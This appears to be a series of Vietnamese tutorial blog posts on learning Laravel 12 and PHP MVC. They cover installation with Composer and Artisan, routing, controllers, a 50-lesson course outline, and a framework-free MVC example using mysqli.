Ở bài trước chúng ta đã tìm hiểu về Routing – nơi tiếp nhận các yêu cầu (Request) từ người dùng.
Tuy nhiên, nếu viết toàn bộ logic ngay trong file routes/web.php thì dự án sẽ nhanh chóng trở nên khó đọc và khó bảo trì.
Đó chính là lý do Controller ra đời.
Controller là nơi tiếp nhận Request từ Route, xử lý nghiệp vụ và trả kết quả về cho người dùng. Có thể hiểu đơn giản:
Route → Controller → Model → View
Controller đóng vai trò trung gian giữa giao diện (View) và dữ liệu (Model), giúp mã nguồn được tổ chức rõ ràng theo mô hình MVC.
Laravel cung cấp Artisan CLI để tạo Controller chỉ với một lệnh:
php artisan make:controller HomeController
Sau khi chạy lệnh, Laravel sẽ tạo file:
app/
└── Http/
└── Controllers/
└── HomeController.php
Đây là nơi chúng ta viết toàn bộ logic xử lý cho từng chức năng.
Mỗi phương thức (method) trong Controller được gọi là một Action.
Ví dụ:
class HomeController extends Controller
{
public function index()
{
return "Xin chào Laravel 12";
}
public function about()
{
return "Trang giới thiệu";
}
}
Sau đó khai báo Route:
use App\Http\Controllers\HomeController;
Route::get('/', [HomeController::class, 'index']);
Route::get('/about', [HomeController::class, 'about']);
Khi người dùng truy cập URL, Laravel sẽ tự động gọi Action tương ứng.
Link chạy: http://localhost/blog/public/
Đối với các chức năng CRUD như Quản lý bài viết, Sản phẩm hay Danh mục, Laravel hỗ trợ Resource Controller.
Tạo Resource Controller:
php artisan make:controller PostController --resource
Laravel sẽ tạo sẵn các phương thức:
index()
create()
store()
show()
edit()
update()
destroy()
Đây là chuẩn được sử dụng trong hầu hết các dự án Laravel thực tế.
Controller không chỉ xử lý dữ liệu mà còn truyền dữ liệu sang Blade để hiển thị.
Ví dụ:
public function index()
{
$title = "Học Laravel 12";
return view('home', compact('title'));
}
Trong file Blade (tạo mới): resources/views/home.blade.php
<h1>{{ $title }}</h1>
Laravel sẽ tự động truyền biến từ Controller sang View một cách đơn giản và rõ ràng.
Khi xử lý nghiệp vụ.
Khi truy vấn cơ sở dữ liệu.
Khi gọi Model.
Khi trả về View hoặc JSON.
Khi muốn dự án dễ bảo trì và mở rộng.
Không nên viết quá nhiều logic trực tiếp trong Route vì sẽ khiến mã nguồn rối và khó quản lý.
Trong bài học này chúng ta đã tìm hiểu:
Controller là gì.
Cách tạo Controller bằng Artisan.
Action trong Controller.
Resource Controller.
Truyền dữ liệu từ Controller sang View.
Ở bài tiếp theo, chúng ta sẽ học Blade Template Engine để xây dựng giao diện động, tái sử dụng layout và tạo các component chuyên nghiệp trong Laravel 12.
x1
Cập nhật: 2026-07-09T11:48:04.620+07:00
Routing là một trong những thành phần quan trọng nhất của Laravel. Mọi yêu cầu (Request) từ trình duyệt đều đi qua hệ thống Routing trước khi được xử lý.
Hiểu Routing sẽ giúp bạn biết cách điều hướng người dùng đến đúng chức năng của ứng dụng.
Khi người dùng truy cập một địa chỉ URL, Laravel sẽ kiểm tra xem địa chỉ đó đã được khai báo trong hệ thống Route hay chưa.
Nếu có, Laravel sẽ thực thi đoạn mã hoặc Controller tương ứng.
Ví dụ:
https://example.com/
Laravel sẽ tìm Route cho đường dẫn /.
Nếu tồn tại:
Route::get('/', function () {
return 'Hello Laravel!';
});
Trình duyệt sẽ hiển thị:
Hello Laravel!
Các Route dành cho website được khai báo trong:
routes/
│
├── web.php
├── api.php
├── console.php
└── channels.php
Trong giai đoạn đầu học Laravel, bạn sẽ làm việc chủ yếu với:
routes/web.php 📌 Lưu ý
Vì ở bài trước chúng ta đã tạo và cài đặt dự án Blog, nên có 2 cách để xem ứng dụng Laravel:
🌐 Cách 1 — Truy cập trực tiếp qua Laragon
http://localhost/blog/publicPhù hợp khi dự án được đặt trong thư mục www của Laragon và sử dụng Apache/Nginx.
💻 Cách 2 — Chạy bằng Artisan
Mở Terminal trong Laragon, di chuyển vào thư mục dự án:
cd blog php artisan serveSau đó mở trình duyệt và truy cập:
http://127.0.0.1:8000Đây là cách được sử dụng phổ biến trong quá trình học tập và phát triển vì không cần cấu hình Virtual Host và hoạt động trên hầu hết các môi trường.
💡 Khuyến nghị: Trong khóa học này, chúng ta sẽ ưu tiên sử dụng php artisan serve để đảm bảo mọi học viên đều thực hiện giống nhau, dù đang dùng Laragon, XAMPP, WAMP hay các môi trường phát triển khác.
Ví dụ:
<?php
use Illuminate\Support\Facades\Route;
Route::get('/', function () {
return view('welcome');
});
GET là phương thức dùng để lấy dữ liệu hoặc hiển thị trang.
Ví dụ:
Route::get('/about', function () {
return 'Trang giới thiệu';
});
Truy cập:
http://127.0.0.1:8000/about
Kết quả:
Trang giới thiệu
POST dùng để gửi dữ liệu lên máy chủ.
Ví dụ:
Route::post('/save', function () {
return 'Đã lưu dữ liệu';
});
POST thường được sử dụng khi:
Đăng nhập
Đăng ký
Gửi biểu mẫu
Tạo dữ liệu mới
PUT dùng để cập nhật toàn bộ dữ liệu.
Ví dụ:
Route::put('/user', function () {
return 'Cập nhật người dùng';
});
Trong Laravel, PUT thường dùng để cập nhật bản ghi.
DELETE dùng để xóa dữ liệu.
Ví dụ:
Route::delete('/user', function () {
return 'Đã xóa';
});
Thông thường sẽ dùng trong chức năng:
Xóa bài viết
Xóa sản phẩm
Xóa người dùng
Laravel cho phép truyền dữ liệu trực tiếp trên URL.
Ví dụ:
Route::get('/user/{id}', function ($id) {
return "User ID: $id";
});
Truy cập:
/user/10
Kết quả:
User ID: 10
Có thể truyền nhiều tham số:
Route::get('/product/{category}/{id}', function ($category, $id) {
return "$category - $id";
});
Ví dụ:
/product/phone/25
Kết quả:
phone - 25
Đặt dấu ? sau tên tham số:
Route::get('/hello/{name?}', function ($name = 'Guest') {
return "Hello $name";
});
Nếu truy cập:
/hello
Kết quả:
Hello Guest
Nếu truy cập:
/hello/Laravel
Kết quả:
Hello Laravel
Laravel cho phép đặt tên cho Route để sử dụng thuận tiện hơn.
Ví dụ:
Route::get('/dashboard', function () {
return 'Dashboard';
})->name('dashboard');
Lấy URL bằng:
route('dashboard');
Kết quả:
http://localhost:8000/dashboard
Ưu điểm:
Không cần ghi cứng URL.
Dễ bảo trì khi thay đổi đường dẫn.
Thường dùng trong Blade và Controller.
Laravel hỗ trợ lệnh Artisan để xem toàn bộ Route.
php artisan route:list
Ví dụ kết quả:
GET /
GET /about
POST /save
PUT /user
DELETE /user
Đây là lệnh rất hữu ích khi dự án có nhiều Route.
Không khai báo hai Route trùng URL và cùng phương thức.
Nên đặt tên Route cho các chức năng quan trọng.
Mỗi Route nên thực hiện một nhiệm vụ rõ ràng.
Khi dự án lớn, nên chuyển logic sang Controller thay vì viết trực tiếp trong Route.
Sau bài học này, bạn đã nắm được những kiến thức nền tảng về Routing trong Laravel:
✅ Hiểu vai trò của Routing trong ứng dụng Laravel.
✅ Biết cách khai báo Route trong routes/web.php.
✅ Sử dụng các phương thức GET, POST, PUT và DELETE.
✅ Truyền tham số qua URL bằng Route Parameters.
✅ Tạo Named Route để quản lý đường dẫn hiệu quả.
✅ Kiểm tra toàn bộ Route bằng lệnh php artisan route:list.
Trong bài tiếp theo, chúng ta sẽ chuyển sang Controller, nơi chứa toàn bộ logic xử lý của ứng dụng và giúp mã nguồn trở nên gọn gàng, dễ bảo trì hơn.
╭──────────────────────────────╮
│ 🤖 Made by AI • Precision & Logic │
╰──────────────────────────────╯
x1
Cập nhật: 2026-07-08T12:08:04.807+07:00
Mục tiêu bài học
Sau bài này, bạn sẽ:
✅ Cài đặt đầy đủ môi trường phát triển Laravel.
✅ Hiểu vai trò của Composer và Laravel Installer.
✅ Tạo dự án Laravel đầu tiên.
✅ Khởi chạy ứng dụng bằng Artisan.
✅ Cấu hình Visual Studio Code để lập trình hiệu quả.
Trước khi cài Laravel, hãy đảm bảo máy tính của bạn đã có các thành phần sau:
| 🔢 | 🛠️ Thành phần | 📌 Phiên bản khuyến nghị |
|---|---|---|
| 1️⃣ | 🐘 PHP | 8.2 trở lên |
| 2️⃣ | 📦 Composer | Phiên bản mới nhất |
| 3️⃣ | 🗄️ MySQL hoặc MariaDB | Phiên bản hiện hành |
| 4️⃣ | 📝 Visual Studio Code | Mới nhất |
| 5️⃣ | 🌐 Trình duyệt | Edge, Chrome hoặc Firefox |
💡 Nếu bạn đã hoàn thành khóa PHP Core, rất có thể các công cụ trên đã được cài đặt sẵn.
Composer là trình quản lý thư viện (Dependency Manager) của PHP.
Laravel sử dụng Composer để:
📥 Cài đặt Framework
🔄 Cập nhật thư viện
📚 Quản lý các package
⚙️ Tự động nạp (Autoload)
Kiểm tra Composer:
composer --version
Nếu hiển thị phiên bản, nghĩa là Composer đã sẵn sàng.
Ví dụ:
Composer version 2.x.x
Ngoài cách tạo dự án trực tiếp bằng Composer, Laravel còn cung cấp Laravel Installer.
Cài đặt:
composer global require laravel/installer
Sau khi cài thành công:
laravel --version
Ví dụ:
Laravel Installer 6.x
Có hai cách phổ biến.
composer create-project laravel/laravel blog
Sau vài phút, Composer sẽ tải toàn bộ thư viện cần thiết.
laravel new blog
Laravel Installer sẽ tự động tạo cấu trúc dự án hoàn chỉnh.
Ví dụ:
blog/
│
├── app/
├── bootstrap/
├── config/
├── database/
├── public/
├── resources/
├── routes/
├── storage/
├── vendor/
├── .env
├── artisan
└── composer.json
Đừng lo nếu bạn chưa hiểu hết các thư mục này. Chúng ta sẽ tìm hiểu chi tiết ở các bài tiếp theo.
Di chuyển vào thư mục dự án:
cd blog
Khởi động máy chủ phát triển:
php artisan serve
Nếu thành công, màn hình sẽ hiển thị:
INFO Server running on http://127.0.0.1:8000
Mở trình duyệt và truy cập:
http://127.0.0.1:8000
Nếu thấy trang chào mừng của Laravel, bạn đã cài đặt thành công.
Artisan là công cụ dòng lệnh tích hợp trong Laravel.
Một số lệnh thường dùng:
| 🔢 | 💻 Lệnh | 📖 Chức năng |
|---|---|---|
| 1️⃣ | php artisan serve | Khởi động máy chủ phát triển |
| 2️⃣ | php artisan list | Hiển thị tất cả lệnh |
| 3️⃣ | php artisan help | Xem hướng dẫn |
| 4️⃣ | php artisan about | Thông tin dự án |
| 5️⃣ | php artisan optimize:clear | Xóa cache của ứng dụng |
Ví dụ:
php artisan about
Lệnh này hiển thị thông tin như:
Phiên bản Laravel
Phiên bản PHP
Driver cơ sở dữ liệu
Cache
Queue
Hệ điều hành
Đây là một lệnh rất hữu ích khi kiểm tra môi trường làm việc.
Di chuyển vào thư mục dự án:
cd blog
Mở VS Code:
code .
Nếu lệnh code chưa hoạt động, hãy bật tính năng thêm VS Code vào biến môi trường (PATH) theo hướng dẫn của Visual Studio Code.
Để lập trình Laravel thuận tiện hơn, bạn nên cài một số tiện ích mở rộng:
| 🔢 | 🧩 Extension | 💖 Lợi ích |
|---|---|---|
| 1️⃣ | PHP Intelephense | Gợi ý mã và kiểm tra lỗi PHP |
| 2️⃣ | Laravel Extra Intellisense | Hỗ trợ nhận diện các thành phần của Laravel |
| 3️⃣ | DotENV | Tô màu và hỗ trợ tệp .env |
| 4️⃣ | Error Lens | Hiển thị lỗi trực tiếp trong mã nguồn |
| 5️⃣ | EditorConfig | Đồng bộ định dạng mã nguồn |
Trong quá trình học, bạn sẽ thường xuyên làm việc với:
| 🔢 | 📄 Tệp | 📖 Vai trò |
|---|---|---|
| 1️⃣ | .env | Cấu hình môi trường |
| 2️⃣ | composer.json | Quản lý thư viện |
| 3️⃣ | artisan | Điểm vào của Artisan CLI |
| 4️⃣ | routes/web.php | Khai báo Route |
| 5️⃣ | resources/views | Chứa giao diện Blade |
composer is not recognized...
📌 Nguyên nhân:
Composer chưa được cài đặt.
Chưa thêm Composer vào biến môi trường (PATH).
php is not recognized...
📌 Nguyên nhân:
PHP chưa được thêm vào PATH.
Nếu cổng mặc định đã có ứng dụng khác sử dụng, bạn có thể chạy:
php artisan serve --port=8080
Sau đó truy cập:
http://127.0.0.1:8080
📂 Đặt tất cả dự án Laravel trong một thư mục riêng (ví dụ: Projects hoặc Workspace) để dễ quản lý.
🧾 Không chỉnh sửa thư mục vendor vì đây là mã nguồn do Composer quản lý.
🔄 Sau khi thay đổi thư viện, chạy composer install hoặc composer update theo nhu cầu.
📖 Thường xuyên dùng php artisan about để kiểm tra trạng thái môi trường.
| 🔢 | 📚 Nội dung | ✅ Ghi nhớ |
|---|---|---|
| 1️⃣ | 📦 Composer | Quản lý thư viện PHP |
| 2️⃣ | 🚀 Laravel Installer | Công cụ tạo dự án nhanh |
| 3️⃣ | 📁 laravel new | Tạo dự án bằng Installer |
| 4️⃣ | ⚙️ composer create-project | Tạo dự án bằng Composer |
| 5️⃣ | ▶️ php artisan serve | Chạy máy chủ phát triển |
| 6️⃣ | 🛠️ Artisan CLI | Công cụ dòng lệnh của Laravel |
| 7️⃣ | 📝 VS Code | Môi trường phát triển được khuyến nghị |
Đến đây, bạn đã hoàn thành việc chuẩn bị môi trường để phát triển ứng dụng với Laravel 12. Bạn đã biết cách tạo dự án mới bằng Composer hoặc Laravel Installer, khởi động máy chủ phát triển bằng Artisan, đồng thời thiết lập Visual Studio Code để sẵn sàng viết mã.
➡️ Ở bài tiếp theo, chúng ta sẽ tìm hiểu Routing — cơ chế định tuyến của Laravel, học cách xử lý các yêu cầu HTTP như GET, POST, PUT, DELETE, làm việc với Route Parameters và Named Routes, nền tảng cho mọi ứng dụng Laravel.
x1
Cập nhật: 2026-07-07T10:40:20.930+07:00
Mục tiêu bài học
Sau bài này, bạn sẽ:
✅ Hiểu Laravel là gì và tại sao nó được tạo ra.
✅ Biết mô hình MVC trong Laravel.
✅ Hiểu vai trò của Composer.
✅ Làm quen với Artisan CLI.
✅ Nắm được cấu trúc thư mục của một dự án Laravel.
Laravel là 01 PHP Framework mã nguồn mở được xây dựng để giúp lập trình viên phát triển các ứng dụng web nhanh hơn, dễ bảo trì hơn và an toàn hơn.
Laravel cung cấp sẵn rất nhiều thành phần cần thiết cho một website hiện đại như:
🛣️ Routing
🗄️ ORM (Eloquent)
🔐 Authentication
📝 Template Engine (Blade)
📂 Upload File
⚡ Queue
📦 Cache
🌐 REST API
🧪 Testing
Thay vì phải tự viết mọi thứ từ đầu bằng PHP thuần, Laravel đã chuẩn hóa và đóng gói thành các công cụ mạnh mẽ.
Trước khi Laravel xuất hiện, rất nhiều lập trình viên viết website bằng PHP Core.
Một dự án PHP thuần thường gặp các vấn đề:
❌ Code lặp lại nhiều.
❌ Khó bảo trì khi dự án lớn.
❌ Không có cấu trúc thống nhất.
❌ Tự viết đăng nhập, phân quyền, upload...
❌ Dễ phát sinh lỗi bảo mật nếu không cẩn thận.
Laravel ra đời để giải quyết những hạn chế đó.
| 🔢 | ⭐ Tính năng | 📖 Mô tả |
|---|---|---|
| 1️⃣ | 🗂️ Cấu trúc rõ ràng | Tổ chức mã nguồn theo chuẩn MVC |
| 2️⃣ | ⚡ Phát triển nhanh | Nhiều tính năng có sẵn |
| 3️⃣ | 🔒 Bảo mật | Hỗ trợ CSRF, XSS, Hash Password, Validation... |
| 4️⃣ | 🗄️ Eloquent ORM | Làm việc với cơ sở dữ liệu bằng đối tượng |
| 5️⃣ | 🎨 Blade Template | Tách giao diện khỏi xử lý nghiệp vụ |
| 6️⃣ | 📦 Composer | Quản lý thư viện dễ dàng |
| 7️⃣ | 🛠️ Artisan CLI | Sinh mã nguồn và quản lý dự án bằng dòng lệnh |
| 8️⃣ | 🌍 Cộng đồng lớn | Nhiều tài liệu và gói mở rộng |
Một yêu cầu từ trình duyệt sẽ đi qua các bước sau:
Người dùng
│
▼
Route
│
▼
Controller
│
▼
Model
│
▼
Database
│
▼
Controller
│
▼
Blade View
│
▼
Trình duyệt
Đây chính là cách Laravel triển khai mô hình MVC.
MVC là viết tắt của:
Model
View
Controller
Ba thành phần này giúp tách biệt dữ liệu, giao diện và xử lý nghiệp vụ.
Model chịu trách nhiệm làm việc với cơ sở dữ liệu.
Ví dụ:
Lấy danh sách sản phẩm
Thêm người dùng
Cập nhật bài viết
Xóa dữ liệu
Ví dụ:
User::all();
View là phần giao diện người dùng.
Laravel sử dụng Blade Template Engine.
Ví dụ:
<h1>Xin chào Laravel</h1>
View chỉ hiển thị dữ liệu, không xử lý nghiệp vụ.
Controller là nơi nhận yêu cầu từ người dùng.
Nó sẽ:
nhận Request
gọi Model
xử lý dữ liệu
trả về View
Ví dụ:
public function index()
{
return view('home');
}
Browser
│
▼
Route
│
▼
Controller
│
▼
Model
│
Database
│
▼
Controller
│
▼
View
│
Browser
Nhờ cách tổ chức này, dự án dễ mở rộng và bảo trì hơn.
Composer là trình quản lý thư viện (Dependency Manager) dành cho PHP.
Nó giúp:
📥 Cài đặt thư viện
🔄 Cập nhật thư viện
🗑️ Gỡ bỏ thư viện
🔗 Tự động nạp (Autoload) các lớp
Ví dụ cài Laravel:
composer create-project laravel/laravel myapp
Composer sẽ tự động tải tất cả các thư viện mà Laravel cần.
Artisan là công cụ dòng lệnh đi kèm Laravel.
Thay vì tự tạo từng tệp bằng tay, Artisan có thể sinh mã nguồn chỉ với một lệnh.
Ví dụ:
Khởi động máy chủ phát triển:
php artisan serve
Tạo Controller:
php artisan make:controller ProductController
Tạo Model:
php artisan make:model Product
Tạo Migration:
php artisan make:migration create_products_table
Tạo Seeder:
php artisan make:seeder ProductSeeder
Artisan còn hỗ trợ hàng trăm lệnh khác giúp tăng tốc quá trình phát triển.
Sau khi tạo dự án, bạn sẽ thấy cấu trúc tương tự:
app/
bootstrap/
config/
database/
public/
resources/
routes/
storage/
tests/
vendor/
.env
artisan
composer.json
Chứa phần lớn mã nguồn của ứng dụng.
Ví dụ:
Controllers
Models
Middleware
Providers
Định nghĩa các tuyến đường (Route).
Các tệp phổ biến:
web.php
api.php
console.php
Chứa tài nguyên của dự án.
Bao gồm:
Blade View
CSS
JavaScript
Hình ảnh (tùy cấu hình dự án)
Đây là thư mục truy cập từ trình duyệt.
Thường chứa:
index.php
favicon
ảnh công khai
tệp CSS và JavaScript sau khi build
Chứa các tệp liên quan đến cơ sở dữ liệu:
Migration
Seeder
Factory
Lưu trữ dữ liệu phát sinh trong quá trình chạy:
Log
Cache
Session
Tệp người dùng tải lên (tùy cấu hình)
Đây là nơi Composer cài đặt toàn bộ thư viện phụ thuộc.
⚠️ Không nên chỉnh sửa trực tiếp các tệp trong thư mục này.
Lưu cấu hình của ứng dụng, ví dụ:
Kết nối cơ sở dữ liệu
Khóa ứng dụng
Cache
Queue
Tệp này thường không được đưa lên kho mã nguồn công khai.
| 🔢 | 📚 Nội dung | ✅ Ghi nhớ |
|---|---|---|
| 1️⃣ | 🌱 Laravel | Framework PHP hiện đại để phát triển ứng dụng web |
| 2️⃣ | 🏗️ MVC | Tách Model, View và Controller |
| 3️⃣ | 📦 Composer | Quản lý thư viện và tự động nạp lớp |
| 4️⃣ | ⚙️ Artisan | Công cụ dòng lệnh hỗ trợ phát triển |
| 5️⃣ | 📁 Cấu trúc thư mục | Mỗi thư mục đảm nhiệm một vai trò riêng |
Laravel giúp quá trình phát triển ứng dụng web trở nên nhanh hơn, có cấu trúc hơn và dễ bảo trì hơn so với việc xây dựng hoàn toàn bằng PHP thuần. Việc hiểu rõ các khái niệm nền tảng như MVC, Composer, Artisan và cấu trúc thư mục sẽ giúp bạn tiếp cận những bài học tiếp theo một cách thuận lợi.
➡️ Ở bài tiếp theo, chúng ta sẽ cài đặt Laravel 12, thiết lập môi trường làm việc và chạy ứng dụng đầu tiên trên máy tính.
Cập nhật: 2026-07-06T10:07:54.240+07:00
Nếu cập nhật theo Laravel 12 LTS (2026) thì mình sẽ chia thành các phần như sau để người học đi từ PHP Core → Laravel → Triển khai dự án thực tế.
Tiếp nối khóa "PHP Core 8.2 — Tự học PHP từ ZERO đến làm web động"
Vì sao Laravel ra đời
MVC trong Laravel
Composer
Artisan CLI
Cấu trúc thư mục
Composer
Laravel Installer
laravel new
php artisan serve
Cấu hình VS Code
routes/web.php
GET
POST
PUT
DELETE
Route Parameters
Named Route
Tạo Controller
Action
Resource Controller
Truyền dữ liệu
Blade
Layout
Include
Section
Yield
Component
.env
MySQL
php artisan migrate
Tạo bảng
Kiểu dữ liệu
foreignId
rollback
Seeder
Faker
DatabaseSeeder
Factory
Fake Data
Model
Table
Fillable
Guarded
Bài 11 — CRUD bằng Eloquent
create()
all()
find()
update()
delete()
Bài 12 — Query Builder
where
orWhere
orderBy
latest
paginate
Bài 13 — One To One
Bài 14 — One To Many
Bài 15 — Many To Many
Bài 16 — Has Many Through
Bài 17 — Polymorphic
Bài 18 — Request
Bài 19 — Validation
Bài 20 — Upload File
Bài 21 — Laravel Breeze
Bài 22 — Login
Bài 23 — Register
Bài 24 — Middleware
Bài 25 — Authorization
Bài 26 — CRUD Posts
Bài 27 — CRUD Categories
Bài 28 — CRUD Users
Bài 29 — Search
Bài 30 — Pagination
Bài 31 — Soft Delete
Bài 32 — Accessor & Mutator
Bài 33 — Scope
Bài 34 — Observer
Bài 35 — Event & Listener
Bài 36 — Queue
Bài 37 — Mail
Bài 38 — Notification
Bài 39 — Cache
Bài 40 — Storage
Bài 41 — REST API
Bài 42 — API Resource
Bài 43 — Sanctum
Bài 44 — API Authentication
Bài 45 — Deploy Shared Hosting
Bài 46 — Deploy VPS
Bài 47 — Nginx
Bài 48 — Queue Worker
Bài 49 — Scheduler
Bài 50 — Production Tips
Login
Dashboard
CRUD Posts
CRUD Categories
Upload Image
Search
Pagination
Soft Delete
Roles
Permissions
REST API
✅ Thành thạo Laravel 12
✅ Hiểu Eloquent ORM
✅ Biết Authentication hiện đại (Breeze)
✅ Viết REST API chuẩn
✅ Deploy lên VPS/Hosting
✅ Đọc và bảo trì source Laravel thực tế
✅ Đủ nền tảng để học tiếp:
Livewire 3
Inertia.js
Vue.js
React
Filament
Docker
CI/CD
Microservices
Đây là lộ trình khoảng 50 bài, rất phù hợp để tiếp nối ngay sau khóa 35 bài PHP Core.
Tổng cộng khoảng 85 bài sẽ đưa người học từ ZERO → PHP Developer → Laravel Developer theo đúng xu hướng năm 2026.
Cập nhật: 2026-07-16T20:46:59.695+07:00
Trong ví dụ này, chúng ta xây dựng một ứng dụng PHP theo mô hình MVC (Model - View - Controller) mà không sử dụng framework.
project/
│
├── app/
│ ├── controllers/
│ │ └── ProductController.php
│ │
│ ├── models/
│ │ └── ProductModel.php
│ │
│ └── views/
│ └── home.php
│
├── config/
│ └── Database.php
│
└── public/
└── index.php
File:
config/Database.php
<?php
class Database
{
public static function connect()
{
return mysqli_connect(
"localhost",
"root",
"",
"shop_dienthoai"
);
}
}
Kết nối MySQL.
Trả về đối tượng kết nối.
Các Model sẽ dùng chung class này.
phpMyadmin tạo database shop_dienthoai trước.-- Tạo database
CREATE DATABASE IF NOT EXISTS shop_dienthoai
CHARACTER SET utf8mb4
COLLATE utf8mb4_unicode_ci;
-- Chọn database
USE shop_dienthoai;
-- Tạo bảng products
CREATE TABLE products (
id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) NOT NULL
);
-- Dữ liệu mẫu
INSERT INTO products (name) VALUES
('iPhone 16 Pro Max'),
('Samsung Galaxy S25 Ultra'),
('Xiaomi 15 Pro'),
('OPPO Find X8 Pro'),
('Google Pixel 10');
File:
app/models/ProductModel.php
<?php
class ProductModel
{
private $conn;
public function __construct()
{
$this->conn = Database::connect();
}
public function getAll()
{
$result = mysqli_query($this->conn, "SELECT * FROM products");
$products = [];
while ($row = mysqli_fetch_assoc($result)) {
$products[] = $row;
}
return $products;
}
}
Model chỉ làm việc với dữ liệu.
Trong ví dụ trên:
Kết nối database.
Thực hiện câu lệnh SQL.
Trả về mảng sản phẩm.
Model không hiển thị HTML và không xử lý giao diện.
File:
app/controllers/ProductController.php
<?php
class ProductController
{
public function index()
{
$model = new ProductModel();
$products = $model->getAll();
include ROOT . "/app/views/home.php";
}
}
Controller là trung gian giữa Model và View.
Quy trình:
Tạo Model.
Gọi Model lấy dữ liệu.
Đưa dữ liệu sang View.
View hiển thị kết quả.
Controller không viết SQL và không tạo HTML.
File:
app/views/home.php
<h1>Danh sách sản phẩm</h1>
<?php foreach($products as $row): ?>
<p><?= $row["name"] ?></p>
<?php endforeach; ?>
View chỉ nhận dữ liệu từ Controller rồi hiển thị.
Trong ví dụ này:
Không kết nối database.
Không chạy SQL.
Chỉ lặp mảng $products.
File:
public/index.php
<?php
define('ROOT', dirname(__DIR__));
require_once ROOT . '/config/Database.php';
require_once ROOT . '/app/models/ProductModel.php';
require_once ROOT . '/app/controllers/ProductController.php';
$controller = new ProductController();
$controller->index();
Đây là điểm bắt đầu của toàn bộ ứng dụng.
Nó thực hiện:
Khai báo hằng số ROOT.
Nạp các class cần thiết.
Khởi tạo Controller.
Gọi action index().
Trình duyệt
│
▼
public/index.php
│
▼
ProductController
│
▼
ProductModel
│
▼
Database
│
▼
MySQL
│
▼
ProductModel
│
▼
ProductController
│
▼
View (home.php)
│
▼
Hiển thị HTML
| Thành phần | Chức năng |
|---|---|
| Database | Kết nối MySQL |
| Model | Xử lý dữ liệu |
| Controller | Điều phối chương trình |
| View | Hiển thị giao diện |
| index.php | Điểm vào của ứng dụng |
Tách biệt giao diện và dữ liệu.
Code dễ đọc.
Dễ bảo trì.
Có thể mở rộng thành Router.
Dễ chuyển sang Framework như Laravel hoặc CodeIgniter.
require_onceTrong ví dụ trên, tất cả các class được nạp thủ công bằng:
require_once ...
Cách này phù hợp với dự án nhỏ, nhưng khi số lượng Controller và Model tăng lên sẽ phát sinh một số bất tiện:
Phải tự thêm require_once mỗi khi tạo class mới.
Nếu đổi tên file hoặc namespace thì phải sửa nhiều nơi.
Một số môi trường (đặc biệt khi dùng OPcache hoặc cấu hình Apache) có thể khiến việc đổi tên file, thêm class hoặc thay đổi đường dẫn chưa được nhận ngay, dẫn đến cảm giác phải Reload/Restart Apache mới hoạt động đúng.
Trong các dự án lớn, người ta thường sử dụng Autoload (ví dụ spl_autoload_register() hoặc Composer PSR-4) để PHP tự động nạp class khi cần. Khi đó, gần như không còn phải viết require_once cho từng Controller hoặc Model nữa và việc phát triển trở nên thuận tiện hơn rất nhiều.
p/S: xem thêm MVC viết theo phong cách API tại đây.
(chỉ cần link API là phần view lấy được dữ liệu dù bất kỳ ngôn ngữ nào)
Cập nhật: 2026-07-04T22:15:50.011+07:00
Sau khi đã học xong toàn bộ kiến thức PHP cơ bản, CRUD MySQL, OOP và mô hình MVC, bạn đã có nền tảng rất tốt để bước sang một Framework chuyên nghiệp.
Framework phổ biến nhất hiện nay trong cộng đồng PHP chính là Laravel.
Laravel là 01 PHP Framework mã nguồn mở giúp lập trình viên xây dựng website và ứng dụng web nhanh hơn, gọn hơn và bảo trì dễ hơn.
Thay vì tự viết mọi thứ từ đầu, Laravel đã chuẩn bị sẵn rất nhiều công cụ mạnh mẽ.
Ví dụ:
✅ Routing
✅ MVC
✅ Authentication
✅ ORM (Eloquent)
✅ Migration
✅ Validation
✅ Session
✅ Cache
✅ Queue
✅ API
...
Laravel giúp lập trình viên tập trung vào nghiệp vụ thay vì phải xây dựng lại những chức năng cơ bản.
Laravel?Nếu chỉ dùng PHP thuần, một dự án lớn sẽ gặp nhiều khó khăn:
❌ Code lặp lại
❌ Khó bảo trì
❌ Khó mở rộng
❌ Dễ phát sinh lỗi
Laravel giải quyết hầu hết các vấn đề này.
Ưu điểm:
✅ Code sạch
✅ Cấu trúc rõ ràng
✅ Bảo mật tốt
✅ Tốc độ phát triển nhanh
✅ Cộng đồng rất lớn
✅ Tài liệu đầy đủ
Laravel hoạt động theo MVCTrong bài trước chúng ta đã học MVC.
Laravel cũng sử dụng mô hình này.
Request
↓
Route
↓
Controller
↓
Model
↓
Database
↓
View
↓
Response
Mọi thành phần đều được tổ chức rất khoa học.
LaravelMột project Laravel thường có:
app/
bootstrap/
config/
database/
public/
resources/
routes/
storage/
tests/
vendor/
Trong đó:
app/
Chứa:
Controller
Model
Logic xử lý
resources/views
Chứa giao diện.
routes
Chứa các URL.
public
Là thư mục web server truy cập.
Laravel sử dụng ComposerKhác với PHP thuần, Laravel được cài bằng Composer.
Ví dụ:
composer create-project laravel/laravel demo
Composer sẽ tự động tải:
Framework
Thư viện
Dependency
Không cần tải thủ công.
Laravel có một công cụ cực mạnh:
php artisan
Ví dụ:
Tạo Controller
php artisan make:controller ProductController
Tạo Model
php artisan make:model Product
Tạo Migration
php artisan make:migration
Chạy server
php artisan serve
Laravel sẽ tự tạo rất nhiều mã nguồn chỉ bằng một câu lệnh.
Nếu PHP thuần:
SELECT * FROM users
Laravel:
User::all();
Hoặc:
User::find(5);
Hoặc:
User::where("age", ">", 18)->get();
Không cần viết SQL trong rất nhiều trường hợp.
PHP thuần:
if(...)
trim()
filter_var()
Laravel:
$request->validate([
"name"=>"required",
"email"=>"required|email"
]);
Ngắn gọn hơn rất nhiều.
Laravel có thể tạo:
Đăng nhập
Đăng ký
Quên mật khẩu
Reset Password
Xác thực Email
Phân quyền
một cách rất nhanh.
PHP thuần:
product.php?id=10
Laravel:
Route::get("/products", ...);
Đường dẫn đẹp và dễ quản lý hơn.
Laravel có hệ thống giao diện riêng:
Blade.
Ví dụ:
<h1>{{ $title }}</h1>
Điều kiện:
@if($age>=18)
@endif
Vòng lặp:
@foreach($users as $user)
@endforeach
Viết giao diện rất gọn.
Laravel được dùng ở đâu?Laravel thường được sử dụng để xây dựng:
Website doanh nghiệp
Website thương mại điện tử
Blog
CRM
ERP
Quản lý bán hàng
Quản lý nhân sự
API
Hệ thống quản trị
SaaS
Dashboard
Laravel?Có.
Laravel không thay thế PHP.
Laravel được xây dựng trên nền PHP.
Muốn học Laravel tốt, bạn nên nắm chắc:
✅ Biến
✅ Hàm
✅ Mảng
✅ OOP
✅ MVC
✅ Form
✅ Session
✅ Cookie
✅ CRUD
✅ MySQL
